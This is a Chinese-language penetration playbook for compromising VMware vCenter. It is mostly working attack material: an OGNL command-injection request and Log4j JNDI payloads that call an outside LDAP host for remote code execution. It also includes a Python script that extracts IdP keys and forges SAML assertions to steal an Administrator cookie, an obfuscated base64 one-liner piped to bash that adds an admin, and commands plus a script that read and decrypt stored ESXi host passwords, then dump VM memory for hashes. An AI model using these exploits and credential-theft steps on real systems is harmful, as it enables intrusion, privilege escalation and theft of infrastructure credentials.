FQDN
打点
vCenter6.0
这个版本较为特殊,用如下poc可以获取普通权限
提权用脏牛
GET /statsreport/ HTTP/1.1
Host: vcenter:443
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
Content-Length: 0
其余版本
在如下版本区间的可以直接log4j,log4j修复了其他洞也修复了。
当内网碰到隔离,数据包能去不能回,可以用历史洞(2021-21972,2021-21985,2021-22005)轮个普通权限,然后反弹shell再本机跑jndi。
v6.5.* <VMware vCenter Server 6.5.0 build-19261680
v6.7.* < VMware vCenter Server 6.7.0 build-19300125 19299595可能成功也可能不成功
v7.0.* < VMware vCenter Server 7.0.3 build-19234570
判断版本数据包
POST /sdk HTTP/2
Host: xxx.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 373
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>
log4j poc
poc1
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: xxx.xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
X-Forwarded-For:\${jndi:ldap://114.114.114.114:1389/TomcatBypass/TomcatEcho}
cmd:id
poc2
GET /websso/SAML2/SSOSSL/?RelyingPartyEntityId={base64jndipayload} HTTP/1.1
Host: 10.10.100.203
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://10.10.100.207/ui/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
cmd: id
Te: trailers
Connection: close
Content-Length: 0
获取管理员Cookie,登录vCenter
需要root权限
需要文件data.mdb,路径:
/storage/db/vmware-vmdir/data.mdb
前置依赖
Debian
apt-get install build-essential python3-dev libldap2-dev libsasl2-dev slapd ldap-utils tox lcov valgrind
Centos
yum install python3-devel
脚本
获取Cookie脚本,获取Cookie后访问/ui/就可以登录:(在高版本vcenter如果默认 不能获取cookie,需要手动修改RelayState参数)
#!/usr/bin/env python3
import argparse
import base64
import bitstring
import sys
import zlib
from string import printable
from urllib.parse import parse_qs, quote, unquote, urlparse
import socket
import ssl
import OpenSSL.crypto as crypto
import ldap
import lxml.etree as etree
import requests
import urllib3
from signxml import XMLSignatureProcessor, XMLSigner
from datetime import datetime
from dateutil.relativedelta import relativedelta
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
idp_cert_flag = b'\x30\x82\x04'
trusted_cert1_flag = b'\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31\x2c\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x43\x68\x61\x69\x6e\x73\x2c' # cn=TrustedCertChain-1,cn=TrustedCertificateChains,
trusted_cert2_flag = b'\x01\x00\x12\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31' # \x01\x00\x12TrustedCertChain-1
not_it_list = [b'Engineering', b'California', b'object']
SAML_TEMPLATE = \
r"""<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://$VCENTER_IP/ui/saml/websso/sso" ID="_eec012f2ebbc1f420f3dd0961b7f4eea" InResponseTo="$ID" IssueInstant="$ISSUEINSTANT" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://$VCENTER/websso/SAML2/Metadata/$DOMAIN</saml2:Issuer>
<saml2p:Status>
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
<saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_91c01d7c-5297-4e53-9763-5ef482cb6184" IssueInstant="$ISSUEINSTANT" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://$VCENTER/websso/SAML2/Metadata/$DOMAIN</saml2:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature>
<saml2:Subject>
<saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN">Administrator@$DOMAIN</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData InResponseTo="$ID" NotOnOrAfter="$NOT_AFTER" Recipient="https://$VCENTER/ui/saml/websso/sso"/>
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="$NOT_BEFORE" NotOnOrAfter="$NOT_AFTER">
<saml2:ProxyRestriction Count="10"/>
<saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
<saml2:AudienceRestriction>
<saml2:Audience>https://$VCENTER/ui/saml/websso/metadata</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="$ISSUEINSTANT" SessionIndex="_50082907a3b0a5fd4f0b6ea5299cf2ea" SessionNotOnOrAfter="$NOT_AFTER">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Users</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\CAAdmins</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\ComponentManager.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\SystemConfiguration.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\LicenseService.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Everyone</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">Administrator@$DOMAIN</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">$DOMAIN</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">Administrator</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
"""
def writepem(bytes, verbose):
data = base64.encodebytes(bytes).decode("utf-8").rstrip()
key = "-----BEGIN CERTIFICATE-----\n" + data + "\n-----END CERTIFICATE-----"
if verbose:
print('[*] Extracted Trusted certificate:')
print(key + '\n')
return key
def writekey(bytes, verbose):
data = base64.encodebytes(bytes).decode("utf-8").rstrip()
key = "-----BEGIN PRIVATE KEY-----\n" + data + "\n-----END PRIVATE KEY-----"
if verbose:
print('[*] Extracted IdP certificate:')
print(key + '\n')
return key
def check_key_valid(key, verbose=False):
lines = key.splitlines()
if lines[1].startswith('MI'):
return True
else:
if verbose:
print('[!] Certificate does not begin with magic bytes')
return False
def get_idp_cert(stream, verbose=False):
tup = stream.findall(idp_cert_flag, bytealigned=True)
matches = list(tup)
for match in matches:
stream.pos = match - 32
flag = stream.read('bytes:3')
if flag == b'\x00\x01\x04':
size_hex = stream.read('bytes:1')
size_hex = b'\x04' + size_hex
size = int(size_hex.hex(), 16)
cert_bytes = stream.read(f'bytes:{size}')
if any(not_it in cert_bytes for not_it in not_it_list):
continue
key = writekey(cert_bytes, verbose)
if not check_key_valid(key):
continue
print('[*] Successfully extracted the IdP certificate')
return key
else:
print(f'[-] Failed to find the IdP certificate')
sys.exit()
def get_domain_from_cn(cn):
parts = cn.split(',')
domain_parts = []
for part in parts:
if part.lower().startswith('dc='):
domain_parts.append(part[3:])
domain = '.'.join(domain_parts).strip()
domain = ''.join(char for char in domain if char in printable)
return domain
def get_trusted_cert1(stream, verbose=False):
tup = stream.findall(trusted_cert1_flag)
matches = list(tup)
if matches:
for match in matches:
stream.pos = match
if verbose:
print(f'[!] Looking for cert 1 at position: {match}')
cn_end = stream.readto('0x000013', bytealigned=True)
cn_end_pos = stream.pos
if verbose:
print(f'[!] CN end position: {cn_end_pos}')
stream.pos = match
cn_len = int((cn_end_pos - match - 8) / 8)
cn = stream.read(f'bytes:{cn_len}').decode()
domain = get_domain_from_cn(cn)
if domain:
print(f'[*] CN: {cn}')
print(f'[*] Domain: {domain}')
else:
print(f'[!] Failed parsing domain from CN')
sys.exit()
cn = stream.readto(f'0x0002', bytealigned=True)
# Get TrustedCertificate1 pem 1
cert1_size_hex = stream.read('bytes:2')
cert1_size = int(cert1_size_hex.hex(), 16)
cert1_bytes = stream.read(f'bytes:{cert1_size}')
if verbose:
print(f'[!] Cert 1 size: {cert1_size}')
if b'ssoserverSign' not in cert1_bytes:
if verbose:
print('[!] Cert does not contain ssoserverSign - keep looking')
continue
cert1 = writepem(cert1_bytes, verbose)
if not check_key_valid(cert1):
continue
print('[*] Successfully extracted trusted certificate 1')
return cert1, domain
else:
print(f'[-] Failed to find the trusted certificate 1 flags')
def get_trusted_cert2(stream, verbose=False):
# Get TrustedCertificate1 pem2
tup = stream.findall(trusted_cert2_flag)
matches = list(tup)
for match in matches:
stream.pos = match - 10240
try:
start = stream.readto('0x308204', bytealigned=True)
except:
print('Failed finding cert 2 with flag 1, looking for flag 2...')
try:
start = stream.readto('0x308203', bytealigned=True)
except:
print('Failed finding cert 2')
sys.exit()
stream.pos = stream.pos - 40
cert2_size_hex = stream.read('bytes:2')
cert2_size = int(cert2_size_hex.hex(), 16)
cert2_bytes = stream.read(f'bytes:{cert2_size}')
if verbose:
print(f'Cert 2 Size: {cert2_size}')
cert2 = writepem(cert2_bytes, verbose)
if not check_key_valid(cert2):
continue
print('[*] Successfully extracted trusted certificate 2')
return cert2
print(f'[-] Failed to find the trusted cert 2')
sys.exit()
def saml_request(vcenter):
"""Get SAML AuthnRequest from vCenter web UI"""
try:
print(f'[*] Initiating SAML request with {vcenter}')
r = requests.get(f"https://{vcenter}/ui/login", allow_redirects=False, verify=False)
if r.status_code != 302:
raise Exception("expected 302 redirect")
o = urlparse(r.headers["location"])
sr = parse_qs(o.query)["SAMLRequest"][0]
dec = base64.decodebytes(sr.encode("utf-8"))
req = zlib.decompress(dec, -8)
return etree.fromstring(req)
except:
print(f'[-] Failed initiating SAML request with {vcenter}')
raise
def fill_template(vcenter_hostname, vcenter_ip, vcenter_domain, req):
"""Fill in the SAML response template"""
try:
print('[*] Generating SAML assertion')
# Generate valid timestamps
before = (datetime.today() + relativedelta(months=-1)).isoformat()[:-3]+'Z'
after = (datetime.today() + relativedelta(months=1)).isoformat()[:-3]+'Z'
# Replace fields dynamically
t = SAML_TEMPLATE
t = t.replace("$VCENTER_IP", vcenter_ip)
t = t.replace("$VCENTER", vcenter_hostname)
t = t.replace("$DOMAIN", vcenter_domain)
t = t.replace("$ID", req.get("ID"))
t = t.replace("$ISSUEINSTANT", req.get("IssueInstant"))
t = t.replace("$NOT_BEFORE", before)
t = t.replace("$NOT_AFTER", after)
return etree.fromstring(t.encode("utf-8"))
except:
print('[-] Failed generating the SAML assertion')
raise
def sign_assertion(root, cert1, cert2, key):
"""Sign the SAML assertion in the response using the IdP key"""
try:
print('[*] Signing the SAML assertion')
assertion_id = root.find("{urn:oasis:names:tc:SAML:2.0:assertion}Assertion").get("ID")
signer = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#")
signed_assertion = signer.sign(root, reference_uri=assertion_id, key=key, cert=[cert1, cert2])
return signed_assertion
except:
print('[-] Failed signing the SAML assertion')
raise
def login(vcenter, saml_resp):
"""Log in to the vCenter web UI using the signed response and return a session cookie"""
# Relay = input("Please input RelayState: ")
try:
print('[*] Attempting to log into vCenter with the signed SAML request')
resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
r = requests.post(
f"https://{vcenter}/ui/saml/websso/sso",
allow_redirects=False,
verify=False,
data={"SAMLResponse": base64.encodebytes(resp),"RelayState": "f60b1e72-9204-4ea9-9dcc-55dcd4330496"},
)
if r.status_code != 302:
raise Exception("expected 302 redirect")
cookie = r.headers["Set-Cookie"].split(";")[0]
print(f'[+] Successfuly obtained Administrator cookie for {vcenter}!')
print(f'[+] Cookie: {cookie}')
except:
print('[-] Failed logging in with SAML request')
raise
def get_hostname(vcenter):
try:
print('[*] Obtaining hostname from vCenter SSL certificate')
dst = (vcenter, 443)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(dst)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=dst[0])
# get certificate
cert_bin = s.getpeercert(True)
x509 = crypto.load_certificate(crypto.FILETYPE_ASN1,cert_bin)
hostname = x509.get_subject().CN
print(f'[*] Found hostname {hostname} for {vcenter}')
return hostname
except:
print('[-] Failed obtaining hostname from SSL certificates for {vcenter}')
raise
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--path', help='The path to the data.mdb file', required=True)
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-v', '--verbose', action='store_true', help='Print the extracted certificates')
args = parser.parse_args()
# Extract certificates
in_stream = open(args.path, 'rb')
bin_stream = bitstring.ConstBitStream(in_stream)
idp_cert = get_idp_cert(bin_stream, args.verbose)
trusted_cert_1, domain = get_trusted_cert1(bin_stream, args.verbose)
trusted_cert_2 = get_trusted_cert2(bin_stream, args.verbose)
# Generate SAML request
hostname = get_hostname(args.target)
req = saml_request(args.target)
t = fill_template(hostname, args.target, domain,req)
s = sign_assertion(t, trusted_cert_1, trusted_cert_2, idp_cert)
c = login(args.target, s)
一键添加vCenter管理员
log4j处可以直接触发
bash
{echo,cHl0aG9uIC1jICdpbXBvcnQgYmFzZTY0O2ltcG9ydCB6bGliO2V4ZWMoYmFzZTY0LmI2NGRlY29kZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5RlZsbWJvamdVL1V1QVdqMDh6SU9rWkpkcVVOWTNFcW9CU1pBWlFNVmZQemU0b1ZVOS9lQlhSVWp1Y3U0NUo2U2hlTVF6VXpBMCtZd1k3WWdtRHhsU2hzVGRXMW5rVU1JV0JRNzkvT2RtV1NkYXdPSW9hRE5OTERCVDZ5UXlhbFFyQlprNU00aFJHZTlDYmdwcWhVUGF4Lzd5dE42dGE1UTNWUkxHdVY4SHZTdkpIUTdWUGtIRkRvZHU4NUh2Y3dNdGMxSXVaWjdmcnBVRDBZTGUwcHd1UVpYRjN4bTZSejkxRi9JcmcxMmJOQTZoTVBkMmJySERjQzdaNUEwcVlTK3ZPL0pFd3VaNXBnWHpiTG0zZU0zR0txUFo2clJ5QStVZFN3dVdobVJ2YmZmWCtNcVFoZ3ZCUWlhMnFKQUh1cm1BbkFkRGd6TklFVkxOejJOSjdoTkdhNmdSWXZFNHkvSmVBd3ZPV1hnU2VPL1BQZWFsTGNuSERNbHRHblkwa3lqVUtaZHBPRDlnUFJ1U01EdW5XdEJpcExScDVBalJMQ213SGxBeUxPdFFLR3d2b0wrQ1ZXSDZvdXk0dm1Ocy9JVWFxYWR6RXBsU0dzSmN4QlBKbUZpbGtabVpnOUdnSzViUVM1VkUrWW5YYzZ2TlprbURtYnMzbUxkelEyZUhaMEdmSWVPR1dSVUw2ZzU2RkhGOXdUbUpIQkhySHI3RitxQkNUMmE4VG5kdmlxZmVIQ2hlcTVPMXdhaXRvQjNnM3d1bUd1MEI5L21hejFVM0taa0JaeERIZlZFQnpwTjgzbXBiZmxjSFg1K2NWVHVvSDNqd2JyeEZtOFdaYUtjbVEza2RhWE9lOXpoZE0wclNoR2N6ZThIai9FYzgxQW1QeXl2M3ROKzhIMlA1bkJQUXB3b3pMQVpUUEphSjVpaXg1Qnd5NEpPdnFXY3l5dzZFZWNRbzUvOUcrcnEwMFB4ZmEyTVNYSkwyZ2N1SXBmWEszMmtzZTFySHl2dXdmMVBYVFd0eDZGV1dkcXJTTUc0TnpUbmdrT3Yxb2JlRS9jWG5mTkVhTW90RWMzdXNlVTFTR3EyQnpObWovK1JnMTltUVJoNjl4cnZOaXVIaGkvWTJVQ3ZvUyt4aVB1ZEoza2R2bkZjangvNjA5MGdBMnd4d3ZaNjVyUi9Jc0FEdGlJZU0rWHRUVXFzRUxkcEVvOHdjZ0ZwUC9ENjk4T25wMlkwajU1eEo4cEFnNE5sMy91QTJKV2hSTnRRdWc3aFFuOXJnOHZhY0hFaXBsSnpueHV0c2F1ZUlOUW9ESlMzVTlIYXRHN0JWU25nbnhKRXBBQythVE10SC92M2NHUGU1WERBM3p6WlRqM3cyNEpOM243bnk4VnJIb2lDNlFqbUhZOXFlUVorZy82YUVudWpvd2NPeHRsbHpBSy9aeC9XNlFYWEFmY1BsbU1ZU1BjYmg2U01PeFhIdjFPTXQ4QjRYa2ZHdlhaSStaVExrS2lxWVV3R3hlSTVxeEFCbE83d1RhZ08xWDg3Ym10UC9qTVo4WjN1TXBZeDF3Vm5GVzNtQkx3U2JTNDBFN3BQNW02RjNGYTZGeTExRFJ5L2VwWkZTNE5VWWs3OFhpUlFNdm02Q1pwMkdnTjYyVE8yU1NMQ0lvRG9QN0ovMzQrdWVXSnAvV2NPUytVOFNPb0lyblVBNzZ6ZnU5MlRaSEdMVzBIam12V091M2ZNK2h4a01CTHdmTWZCdEZ1eXlsZE55M255VXdFT1dBVi9wV3h4NURYQ213S3BDU1EwOHpyL0dHWHZMbTBzZmQxOXdlVjNIT3c5MXdlS1lvRXBkZVdxdzlRS0Q2K1NPbWMwNXg4UUNOSEdaZ2ViMU5sSyt4MmJEdmZQN21kL080T2Q5L2ZYZDhVa1grc05iUUErN20xNzUvQXdHZW9JNWdYZmtkcFRuZHBqbm45SkVDN3FRMjc2YlI4ajhNZlV5YjdXUUkyVEFHZkxsM2NRekwzdXVYbWF6MFh2S0tRWXZkOWIwdVgzVkpLLzN1WVo1KzMvZS9uMU40RUdNKzAzeG1BbFM3cGhZL0xQRTkxYndjemIrZlB4ZU1vZXN3cnM5ZkQvTVpUZjBPdUIyUTJiZUFKdzVrSHJkanV0MTBNQmRDem83L1lpWmVyNXd0Z0J1Z1NmcDlKaHM5emtPWmVnL1dZejUzL2x6ME1Vc0dCQVRLUTdoSG9FY2dIMy95OTFEVHZKU3g4Z2grSW5tdGx3dzZMR0w0YUllYy9INWEyWkJKSi9qMFY5NkI1Mnp1eC96UGtxNEd3cWlpUWZ1czUrYlpmZUpsbDJLbEtmWi9ZSjFEeW5FcUx0bjM2MUZ1UCtXWFRaOGVmZndZUDJ5Qnp4eWVoZkIvU29QNEhlQ05aMFZHcmsvZVQ2K3p2YUZEOXo3ajcrYjZldmV5YjFRV2VNOXVnSTl3bS9yMDQrWGVmLzlINzRseThZPSIpKSkpJw==}|{base64,-d}|{bash,-i}
获取esxi密码
获取psql保存的vpxuser密码
# linux
cat /etc/vmware-vpx/vcdb.properties
# or
cat /etc/vmware/service-state/vpxd/vcdb.properties
# windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
连接数据库读取密钥
# linux
/opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
#windows
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
获取symkey.dat
# linux
cat /etc/vmware-vpx/ssl/symkey.dat
# windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
解密vpxuser密码
python3 decrypt.py symkey.dat password.enc password.txt
解密脚本
import base64
import sys
from Crypto.Cipher import AES
usage = """
Where is symkey.dat
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux:/etc/vmware-vpx/ssl/symkey.dat
Where is psql
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/current/bin/psql
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
python3 decrypt.py symkey.dat password.enc password.txt
"""
def pkcs7unpadding(text):
length = len(text)
padding_length = ord(text[-1])
return text[0:length-padding_length]
def decrypt(key, enc_passwords):
passwords = []
key_bytes = bytes.fromhex(key)
for enc_password in enc_passwords:
content = base64.b64decode(enc_password)
iv_bytes = content[:16]
enc_password_bytes = content[16:]
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
password_bytes = cipher.decrypt(enc_password_bytes)
password = str(password_bytes, encoding='utf-8')
password = pkcs7unpadding(password)
passwords.append(password)
return passwords
def save_decrypt_password(path, passwords):
data = '\n'.join(passwords)
with open(path, 'w') as file:
file.write(data)
def get_encrypt_password(path):
encrypt_passwords = []
with open(path) as file:
for line in file:
encrypt_password = line.strip('*').strip()
encrypt_passwords.append(encrypt_password)
return encrypt_passwords
def get_key(path):
with open(path) as file:
key = file.read().strip()
return key
def main():
if len(sys.argv) != 4:
print(usage)
exit(1)
key = get_key(sys.argv[1])
encrypt_passwords = get_encrypt_password(sys.argv[2])
save_path = sys.argv[3]
passwords = decrypt(key, encrypt_passwords)
save_decrypt_password(save_path, passwords)
if __name__ == '__main__':
main()
找不到Crypto包解决办法
到pip目录把cypto目录改成Crypto
获取vcenter情况下获取虚拟机权限
Linux
重启改密码,可以克隆出来再重启。
Windows
https://github.com/JamesCooteUK/SharpSphere
打快照→dump内存(大小依据虚拟机分配的内存大小)→抓取哈希